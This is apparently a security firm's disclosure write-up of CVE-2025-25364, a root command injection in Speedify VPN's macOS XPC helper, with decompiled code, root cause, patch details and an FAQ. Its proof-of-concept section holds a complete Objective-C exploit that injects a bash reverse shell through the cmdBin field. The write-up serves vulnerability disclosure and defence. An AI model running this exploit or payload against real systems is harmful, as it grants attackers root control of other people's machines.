Vulnerability Research

CVE-2025-25364: Speedify VPN MacOS privilege Escalation

By SecureLayer7 Lab

13 min read

CVE-2025-25364: Speedify VPN MacOS privilege Escalation

SecureLayer7 discovered CVE-2025-25364, which is a crit­i­cal com­mand in­jec­tion vul­ner­a­bil­i­ty dis­cov­ered in the me.connectify.SMJobBlessHelper XPC ser­vice, a priv­i­leged helper tool used by Speed­i­fy VPN on ma­cOS. This ser­vice, which runs with el­e­vat­ed (root) priv­i­leges, is re­spon­si­ble for per­form­ing sys­tem-lev­el op­er­a­tions such as man­ag­ing net­work set­tings. Due to im­prop­er in­put val­i­da­tion of user-con­trolled fields (cmdPath and cmdBin) with­in XPC mes­sages, a lo­cal at­tack­er can craft ma­li­cious in­put to in­ject ar­bi­trary com­mands. These com­mands are then ex­e­cut­ed with root priv­i­leges, en­abling com­plete sys­tem com­pro­mise. The vul­ner­a­bil­i­ty pos­es a sig­nif­i­cant risk as it al­lows an at­tack­er to es­ca­late priv­i­leges, ex­e­cute unau­tho­rized com­mands, and gain full con­trol over the af­fect­ed ma­cOS sys­tem. This flaw high­lights the im­por­tance of rig­or­ous in­put val­i­da­tion and se­cure cod­ing prac­tices, es­pe­cial­ly in priv­i­leged com­po­nents. The is­sue has been ad­dressed in Speed­i­fy VPN ver­sion 15.4.1, which in­cludes a com­plete rewrite of the helper tool to elim­i­nate the vul­ner­a­bil­i­ty.

High-Lev­el Overview

The vul­ner­a­bil­i­ty ex­ists be­cause the me.connectify.SMJobBlessHelper ser­vice does not prop­er­ly val­i­date user-con­trolled in­put fields with­in XPC mes­sages. Specif­i­cal­ly, the cmdPath and cmdBin fields are di­rect­ly used to con­struct com­mand-line strings with­out ad­e­quate san­i­ti­za­tion, lead­ing to a com­mand in­jec­tion vul­ner­a­bil­i­ty. By craft­ing a ma­li­cious XPC mes­sage that ma­nip­u­lates these fields, an at­tack­er can in­ject ar­bi­trary com­mands into the ser­vice’s com­mand ex­e­cu­tion flow. These in­ject­ed com­mands are then ex­e­cut­ed with root priv­i­leges, po­ten­tial­ly lead­ing to priv­i­lege es­ca­la­tion and full sys­tem com­pro­mise.

The pri­ma­ry risk of this vul­ner­a­bil­i­ty is that it al­lows an at­tack­er to per­form any ac­tion on the sys­tem that re­quires el­e­vat­ed priv­i­leges, in­clud­ing read­ing or mod­i­fy­ing sen­si­tive files, in­stalling mal­ware, or cre­at­ing back­doors for per­sis­tent ac­cess. Be­cause the com­mands are ex­e­cut­ed as root, the im­pact of this vul­ner­a­bil­i­ty is crit­i­cal and could re­sult in the com­plete com­pro­mise of the af­fect­ed ma­cOS sys­tem.

Prod­uct and Ver­sion In­for­ma­tion

CVE ID: CVE-2025-25364
Prod­uct: Speed­i­fy VPN
Ver­sion: 15.0.0
Plat­form: ma­cOS
Helper Tool Path: /Li­brary/Priv­i­leged­Helper­Tools/me.con­nec­ti­fy.SMJob­B­lessHelper
Plist Con­fig­u­ra­tion Path: /Library/LaunchDaemons/me.connectify.SMJobBlessHelper.plist

The helper tool, me.connectify.SMJobBlessHelper, is in­stalled as a priv­i­leged dae­mon on ma­cOS through the plist con­fig­u­ra­tion file. This set­up en­sures that the ser­vice is start­ed with root priv­i­leges and lis­tens for XPC mes­sages, al­low­ing it to per­form priv­i­leged op­er­a­tions for the Speed­i­fy VPN ap­pli­ca­tion.

Root Cause Analy­sis

The root cause of this vul­ner­a­bil­i­ty is a lack of san­i­ti­za­tion and val­i­da­tion of user-con­trolled data fields with­in the XPC mes­sage and lack of ver­i­fy­ing the con­nect­ed XPC clients. Specif­i­cal­ly, the cmdPath and cmdBin fields are ex­tract­ed from the XPC mes­sage and di­rect­ly em­bed­ded into com­mand strings with­out val­i­da­tion. As a re­sult, an at­tack­er can set these fields to in­clude shell com­mands, in­ject­ing them into the ser­vice’s com­mand ex­e­cu­tion flow.

The code flow lead­ing to the vul­ner­a­ble con­di­tion in­volves sev­er­al func­tions, which we will an­a­lyze in de­tail be­low:

i. XPC_Connection_Handler_block_invoke (En­try Point for han­dling XPC Mes­sages)
int _____XPC_Connection_Handler_block_invoke(int arg0, int arg1) {
    rbx = arg1;
    syslog$DARWIN_EXTSN(0x5, "Received event in helper.");
    rax = xpc_get_type(rbx);
    if (rax != *__xpc_type_error) {
        if (rax != *__xpc_type_dictionary) {
            r14 = xpc_dictionary_get_remote_connection(rbx);
            xpc_dictionary_set_string(xpc_dictionary_create_reply(rbx), "reply", "Hi there, host application!");
            xpc_connection_send_message(r14, rax);
            rax = xpc_release(rax);
        }
        else {
            rax = xpc_dictionary_get_string(rbx, "request");
            rax = strcmp("runSpeedify", rax);
            rdi = rbx;
            if (rax != 0x0) {
                rax = _handleUnknownMsg(rdi);
            }
            else {
                rax = _handleLaunchSpeedifyMsg(rdi);
            }
        }
    }
    return rax;
}

This func­tion is re­spon­si­ble for han­dling in­com­ing XPC mes­sages. It checks the type of mes­sage re­ceived, and if it is a dic­tio­nary, it ex­am­ines the val­ue of the “re­quest” field. If the “re­quest” field con­tains the val­ue “run­Speed­i­fy,” it in­vokes the _handleLaunchSpeedifyMsg func­tion to process the re­quest. How­ev­er, no val­i­da­tion is per­formed on the con­tents of the dic­tio­nary fields, such as cmdPath and cmdBin, al­low­ing user-con­trolled val­ues to pro­ceed unchecked to the next func­tion.

ii. _handleLaunchSpeedifyMsg (Han­dles "run­Speed­i­fy" Re­quest)
int _handleLaunchSpeedifyMsg(int arg0) {
    var_28 = **___stack_chk_guard;
    r14 = xpc_dictionary_get_string(arg0, "cmdPath");
    r15 = xpc_dictionary_get_string(arg0, "cmdBin");
    snprintf(&var_430, 0x400, "-d %s", xpc_dictionary_get_string(arg0, "settingsPath"));
    syslog$DARWIN_EXTSN(0x5, "Launching %s %s with params %s", r14, r15, &var_430);
    _RunSystemCmd(r14, r15, &var_430, *_asl, *_aslMsg);
    r14 = xpc_dictionary_get_remote_connection(arg0);
    xpc_dictionary_set_string(xpc_dictionary_create_reply(arg0), "reply", "Got it, launching Speedify daemon now!");
    xpc_connection_send_message(r14, rax);
    xpc_release(rax);
    rax = *___stack_chk_guard;
    rax = *rax;
    if (rax != var_28) {
        rax = __stack_chk_fail();
    }
    return rax;
}

This func­tion re­trieves the cmdPath and cmdBin fields from the XPC mes­sage dic­tio­nary and logs a mes­sage in­di­cat­ing that it is launch­ing the spec­i­fied com­mand with pa­ra­me­ters. It then calls the _RunSystemCmd func­tion with cmdPath, cmdBin, and settingsPath. Since these fields are de­rived from user in­put with­out val­i­da­tion, an at­tack­er can set them to any ar­bi­trary val­ues, in­clud­ing ma­li­cious shell com­mands.

iii. _RunSystemCmd (Con­structs and Ex­e­cutes Com­mand)
int _RunSystemCmd(int arg0, int arg1, int arg2, int arg3, int arg4) {
    rbx = arg4;
    r14 = arg3;
    var_40 = arg2;
    r15 = arg1;
    r12 = arg0;
    var_50 = 0x0;
    rax = asprintf(&var_50, "%s/%s", r12, r15);
    rcx = var_50;
    if (rcx != 0x0) {
        var_38 = 0x0;
        rax = asprintf(&var_38, "codesign -v -R="certificate leaf[subject.CN] = "%s" and anchor apple generic" "%s"", "Developer ID Application: Connectify, Inc. (42L9495X72)", rcx); // vulnerable injection point
        if (rax != 0xffffffff) {
            _Log(var_38, r14, rbx);
            if (system(var_38) != 0x0) {
                _Log("codesign failed", r14, rbx);
                rbx = 0x0;
            }
            else {
                if (var_40 != 0x0) {
                    var_30 = 0x0;
                    rdx = r12;
                    asprintf(&var_30, "cd %s; ./%s %s &>/dev/null &", rdx, r15, r8);
                }
                else {
                    var_30 = 0x0;
                    rdx = r12;
                    asprintf(&var_30, "cd %s; ./%s  & &>/dev/null &", rdx, r15);
                }
                if (0x0 != 0x0) {
                    var_48 = 0x0;
                    rax = asprintf(&var_48, "Trying to run %s", rdx);
                    syslog$DARWIN_EXTSN(0x5, "Trying to run %s", 0x0);
                    rdi = var_48;
                    if (rdi != 0x0) {
                        _Log(rdi, r14, rbx);
                        free(var_48);
                    }
                    rbx = system(0x0) != 0x0 ? 0x1 : 0x0;
                }
                else {
                    rbx = 0x0;
                }
            }
            free(var_38);
        }
        else {
            _Log("Failed to build codesign string", r14, rbx);
            rbx = 0x0;
        }
        free(var_50

);
    }
    else {
        _Log("Failed to build program name", r14, rbx);
        rbx = 0x0;
    }
    rax = rbx;
    return rax;
}

The _RunSystemCmd func­tion uses asprintf to con­struct a com­mand string that in­cludes cmdPath and cmdBin, both of which are di­rect­ly de­rived from the XPC mes­sage with­out val­i­da­tion. Specif­i­cal­ly, the fol­low­ing line in­tro­duces the com­mand in­jec­tion vul­ner­a­bil­i­ty:

rax = asprintf(&var_38, "codesign -v -R="certificate leaf[subject.CN] = "%s" and anchor apple generic" "%s"", "Developer ID Application: Connectify, Inc. (42L9495X72)", rcx);

This line em­beds user-con­trolled data into the com­mand string, which is lat­er passed to system() for ex­e­cu­tion. An at­tack­er can set cmdPath or cmdBin to con­tain ad­di­tion­al shell com­mands, in­ject­ing them into the com­mand string and al­low­ing ar­bi­trary com­mand ex­e­cu­tion with root priv­i­leges.

Proof-of-Con­cept (PoC)

You can find the ex­ploit on github.

The PoC code pro­vid­ed be­low demon­strates how an at­tack­er can ex­ploit this vul­ner­a­bil­i­ty by send­ing a craft­ed XPC mes­sage to me.connectify.SMJobBlessHelper, re­sult­ing in a re­verse shell and en­abling at­tack­ers to ex­e­cute ar­bi­trary com­mands with root priv­i­leges.:

#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
#include <unistd.h>
#include <stdlib.h>

void sendExploitMessage(const char *serviceName) {
    NSLog(@"[DEBUG] Connecting to XPC service: %s", serviceName);

    xpc_connection_t connection = xpc_connection_create_mach_service(serviceName, NULL, 0);
    if (!connection) {
        NSLog(@"[ERROR] Failed to create XPC connection.");
        return;
    }

    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        xpc_type_t type = xpc_get_type(event);
        if (type == XPC_TYPE_DICTIONARY) {
            const char *reply = xpc_dictionary_get_string(event, "reply");
            if (reply) {
                NSLog(@"[DEBUG] Received reply from service: %s", reply);
            }
        } else if (type == XPC_TYPE_ERROR) {
            NSLog(@"[ERROR] XPC service error.");
        }
    });

    xpc_connection_resume(connection);
    NSLog(@"[DEBUG] Connection to XPC service started.");

    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_string(message, "request", "runSpeedify");

    xpc_dictionary_set_string(message, "cmdPath", "/tmp");
    const char *injectionPayload = ""; bash -i >& /dev/tcp/127.0.0.1/1339 0>&1; echo "";
    xpc_dictionary_set_string(message, "cmdBin", injectionPayload);

    xpc_connection_send_message(connection, message);

    xpc_release(message);
    xpc_release(connection);
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        const char *serviceName = "me.connectify.SMJobBlessHelper";
        sendExploitMessage(serviceName);
    }
    return 0;
}

The ex­ploita­tion code con­nects to the me.connectify.SMJobBlessHelper XPC ser­vice and sends a ma­li­cious XPC mes­sage with a craft­ed pay­load in the cmdBin field. By set­ting this field to “; bash -i >& /dev/tcp/127.0.0.1/1339 0>&1; echo “, the code in­jects a re­verse shell com­mand, which is then ex­e­cut­ed by the vul­ner­a­ble ser­vice with root priv­i­leges. This gives the at­tack­er root-lev­el ac­cess to the sys­tem, ex­ploit­ing the lack of in­put val­i­da­tion in the cmdPath and cmdBin fields to achieve ar­bi­trary com­mand ex­e­cu­tion.

ar­bi­trary com­mand ex­e­cu­tion

Patch

The CVE assigned to the vulnerability is CVE-2025-25364. On the website the existing version now is 15.4.1 which patched the vulnerability, By re-writing the whole helper tool and not using the XPC api written in C without any verifications.

Con­clu­sion

The com­mand in­jec­tion vul­ner­a­bil­i­ty in the me.con­nec­ti­fy.SMJob­B­lessHelper XPC ser­vice with­in Speed­i­fy VPN on ma­cOS is a crit­i­cal se­cu­ri­ty flaw that al­lows lo­cal at­tack­ers to ex­e­cute ar­bi­trary com­mands with root priv­i­leges. This vul­ner­a­bil­i­ty stems from im­prop­er in­put val­i­da­tion of user-con­trolled fields (cmd­Path and cmd­Bin) in XPC mes­sages, en­abling at­tack­ers to in­ject ma­li­cious com­mands into the sys­tem’s ex­e­cu­tion flow. The ex­ploita­tion of this flaw can lead to priv­i­lege es­ca­la­tion, com­plete sys­tem com­pro­mise, and unau­tho­rized ac­cess to sen­si­tive data.

For expert guidance on vulnerability management and/or penetration testing services contact SecureLayer7 to leverage tailored solutions and stay ahead of evolving security risks.

// SecureLayer7

How SecureLayer7 helps

SecureLayer7 finds privilege escalation and command injection flaws like this one in desktop apps, privileged helpers, and IPC/XPC services before attackers do. Our penetration testers trace untrusted input through to root-level execution paths and give you exact fixes.
Get Pentested Now

Frequently Asked Questions

What is CVE-2025-25364?

A command injection flaw in the me.connectify.SMJobBlessHelper XPC service bundled with Speedify VPN on macOS. The helper runs as root, so injected commands execute with root privileges. A local attacker can use it to fully compromise the system.

How does the Speedify VPN privilege escalation work?

The helper reads the cmdPath and cmdBin fields from incoming XPC messages and builds command strings from them without validation. An attacker sends a crafted XPC message with shell commands in those fields. The service runs the result as root.

Which versions of Speedify VPN are affected?

Version 15.0.0 on macOS is vulnerable. The fix shipped in 15.4.1, which rewrites the helper tool to remove the flaw. Update to 15.4.1 or later.

Can any local user exploit CVE-2025-25364?

Yes. The helper does not verify the identity of connecting XPC clients, so any local process can send messages to it. There is no authorization check separating trusted callers from an attacker.

How do you fix CVE-2025-25364?

Install Speedify VPN 15.4.1 or later, which validates input and includes a rewritten helper. If you cannot update, remove the helper at /Library/PrivilegedHelperTools/me.connectify.SMJobBlessHelper and its plist at /Library/LaunchDaemons/me.connectify.SMJobBlessHelper.plist.

References